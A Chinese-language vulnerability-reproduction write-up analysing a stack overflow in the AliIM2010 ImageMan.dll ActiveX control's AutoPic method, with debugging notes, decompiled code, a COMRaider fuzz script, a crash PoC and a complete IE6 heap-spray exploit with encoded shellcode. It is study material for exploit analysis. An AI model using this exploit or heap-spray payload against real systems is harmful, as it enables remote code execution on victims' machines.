前言
前段日子准备复现分析下这个漏洞的,然后谷歌百度全都搜不到这个AliIM2010版本的这个东西,找了一天无奈放弃,今天无意从漏洞战争随书资料里看到有这个安装包,便开始了分析之旅
漏洞战争随书资料可以从github下载
环境配置
测试环境:
X | 推荐环境 | 备注 |
---|---|---|
操作系统 | win_xp_sp3_pro | 简体中文版 |
虚拟机 | vmware | 15.5 |
调试器 | ollydbg | 吾爱破解od |
反汇编器 | IDA pro | 版本号:7.0 |
漏洞软件 | AliIM2010_taobao | 版本号: 6.50.00C |
poc及exp均在漏洞战争随书资料里获取
基于POC的漏洞验证
哈哈这里我感觉我有点傻逼啊,我打开了阿里旺旺,附加了,然后运行断点怎么没断下,而且阿里旺旺也没退出什么的,poc是不是无效啊,第一反应,然后打开了弹计算器的exp,然而弹出了计算器,断点还是没断下,然后才反应过来,我应该附加错了,应该附加的是ie浏览器,因为他会退出,会弹计算机
稍微思考一下,我装了这个软件,然而并不用运行就可以拿shell,这个东西有点怪异哦,是什么原因导致的呢,暂时放下,调试下
从Windbg附加运行,报错,
我们得到一个dll名称,ImageMan
C:\Program Files\AliWangWang\Pictool\ImageMan.dll
这里我们从我加粗那一行得到一个地址,
ub 1001ac30 #查看内容
这里得到一个地址,1001ac2b,重新调试在此处下断,然后发觉根本运行不起来,基于栈回溯的方法在这里用不了?
然后上ollydbg发觉也没办法,他会中断
运行起来就变成这样了,原来一直不知道原因,查了下,就是查sysenter
在看雪找到一篇帖子 SYSENTER 原因是因为其进入了Ring0层,ollydbg这种Ring3调试器无法进入,而windbg是可以调试内核的,所以他是进入得了,然而windbg下断点总是在gdiplus.dll处断下,具体原因未详,但对调试极为不利,我还是觉得ollydbg是可以调试的,因为别人的文章也用ollydbg,应该是吾爱的那个od配置了什么,导致无法断下,我将其异常全部取消忽略,也无法断下,换了个ollydbg就成了。。。
然后通过基于栈回溯的方法,一直追,追到了函数的开头处
1001AB7F 55 push ebp
过程大概是,断点,重新运行,断下后在堆栈窗口,找到返回地址,跟随反汇编,然后继续断点,重复以上步骤三次便可以追溯到这里,打开ida,进行分析
源码分析
用ida打开随书资料的idb,查看关键代码部分
int __stdcall AutoPic(int a1, LPCWSTR lpWideCharStr, int a3)
{
const OLECHAR *v4; // eax
char v5; // [esp+Ch] [ebp-314h]
const CHAR MultiByteStr[260]; // [esp+10h] [ebp-310h]
char *v7; // [esp+114h] [ebp-20Ch]
CHAR FullPath; // [esp+118h] [ebp-208h]
char v9; // [esp+119h] [ebp-207h]
__int16 v10; // [esp+219h] [ebp-107h]
char v11; // [esp+21Bh] [ebp-105h]
char Str; // [esp+21Ch] [ebp-104h]
char v13; // [esp+21Dh] [ebp-103h]
__int16 v14; // [esp+31Dh] [ebp-3h]
char v15; // [esp+31Fh] [ebp-1h]
FullPath = 0;
memset(&v9, 0, 0x100u);
v10 = 0;
v11 = 0;
WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0);
MultiByteStr[0] = 0;
memset((void *)&MultiByteStr[1], 0, 0x100u);
*(_WORD *)&MultiByteStr[257] = 0;
MultiByteStr[259] = 0;
v7 = strrchr(&FullPath, '\\');
Str = 0;
memset(&v13, 0, 0x100u);
v14 = 0;
v15 = 0;
mbsnbcpy(&Str, &FullPath, v7 - &FullPath + 1);// 触发崩溃!
sub_100271FE(&Str);
sub_10018BA1(&FullPath, (int)MultiByteStr);
sub_1001BFE0(MultiByteStr);
if ( a3 )
{
v4 = (const OLECHAR *)sub_1001C060(&v5);
*(_DWORD *)a3 = SysAllocString(v4);
}
sub_1001C040(&v5);
return 0;
}
这里写了mbsnbcpy这里触发了崩溃,这个函数很类似strncpy(源字符串,目的字符串,长度),将目的字符串按照指定长度复制到原字符串里
这里查看文档mbsnbcpy的解析 查看文档发觉确实类似,这里应该就是
template <size_t size>
errno_t _mbsnbcpy_s(
unsigned char (&strDest)[size],
const unsigned char * strSource,
size_t count
); // C++ only
/*
strDest
要复制的目标字符字符串。
sizeInBytes
目标缓冲区大小。
strSource
要复制的字符字符串。
count
要复制的字节数。
locale
要使用的区域设置。
*/
也就是说第三个参数就是长度,v7-&FullPath + 1的长度,越界了,那看v7跟FullPath哪里来的
v7 = strrchr(&FullPath, '\\');
FullPath
WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0);
这里又遇到两个没有见过的函数,查文档呗
这里strrchr就是查询\最后一次出现位置,WideCharToMultiByte就是把宽字符串转换成指定的新的字符串,
带 类型的变量,++ 或者 -- 新增(减少)的数量是去掉一个后变量的宽度,所以就是中间隔了多少个char,在这里就相当于到 \的长度,所以不输入\的话,就是null-起始地址+1是个负数,就越界了
所以关键点就是控制 lpWideCharStr,而这里已经帮我们构造好了,是AAAA,我们现在查看poc,是如何构造的
poc分析
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>
classid com組件在注册表的唯一标识,从注册表可以找到
目录结构
- HKEY_CLASSES_ROOT
- ImageMan.ImageManager
- CLSID
- CurVer
- ImageMan.ImageManager
CLSID 便是该组件了,而这里可以看到,他调用了该组件的AutoPic函数,也就是我们刚刚用id分析的函数,然后直接调用该组件函数,就可以了,似乎很简单? 那我们fuzz是不是也是很简单
- 设置组件id
- 调用函数
- 生成poc测试
fuzz测试
这里运用到COMRaider,因为是com组件导致的,所以直接利用现成的工具,不要重复造轮子,虽然我也不会造这个轮子吧
这里可以看到直接显示了组件id,跟注册表里看的一样,同时我们还看到了分析出问题的函数,AutoPic,
点击接口,然后点fuzz member会生成一堆测试数据,然后点netx就可以了
具体过程我不测试了,测Autopic的话,每个都报异常了,也就是说这里可能存在栈溢出,
这个生成的poc
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF' id='target' />
<script language='vbscript'>
'File Generated by COMRaider v0.0.134 - http://labs.idefense.com
'Wscript.echo typename(target)
'for debugging/custom prolog
targetFile = "C:\Program Files\AliWangWang\Pictool\ImageMan.dll"
prototype = "Sub AutoPic ( ByVal szFileName As String , ByRef szOut As String )"
memberName = "AutoPic"
progid = "IMAGEMANLib.ImageManager"
argCount = 2
arg1=String(2068, "A")
arg2="defaultV"
target.AutoPic arg1 ,arg2
</script></job></package>
跟我们那个几乎一样,都是传了对接口传入大量的测试数据,然后造成crash检测
漏洞利用
这里,我们已经测试出了关键点,接下来就需要确定长度,然后利用堆喷进行利用,堆喷不再进行分析,需要注意的一点就是
由于IE6中javascript的实现,使得字符串赋值给一个变量时并不会开辟新的内存空间(类似于C中的指针取地址),只有当字符串发生连接操作时(substr或是+),才会为字符串开辟新的内存空间。
所以构造shellcode的时候注意下这点就可以
直接利用所给的exp
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++)
s+=unescape("%0D%0D%0D%0D");
target.AutoPic(s,"defaultV");
</script>
</body>
</html>
You can see that!! 确实很美妙
总结
- 遇到事情不要一根筋,灵活转变下思路,比如ollydbg用不了,可以用Windbg,至于Windbg用硬件断点那个,我就没测试了
- 堆喷到时候系统地学习下如何构造及利用
- ActiveX控件的调试dll是动态加载的,不能直接下断,这里利用windbg的命令 sxe ld:模块名称 (ps:虽然在这题我用上了,但出错了,不过还是学习到了一种思路)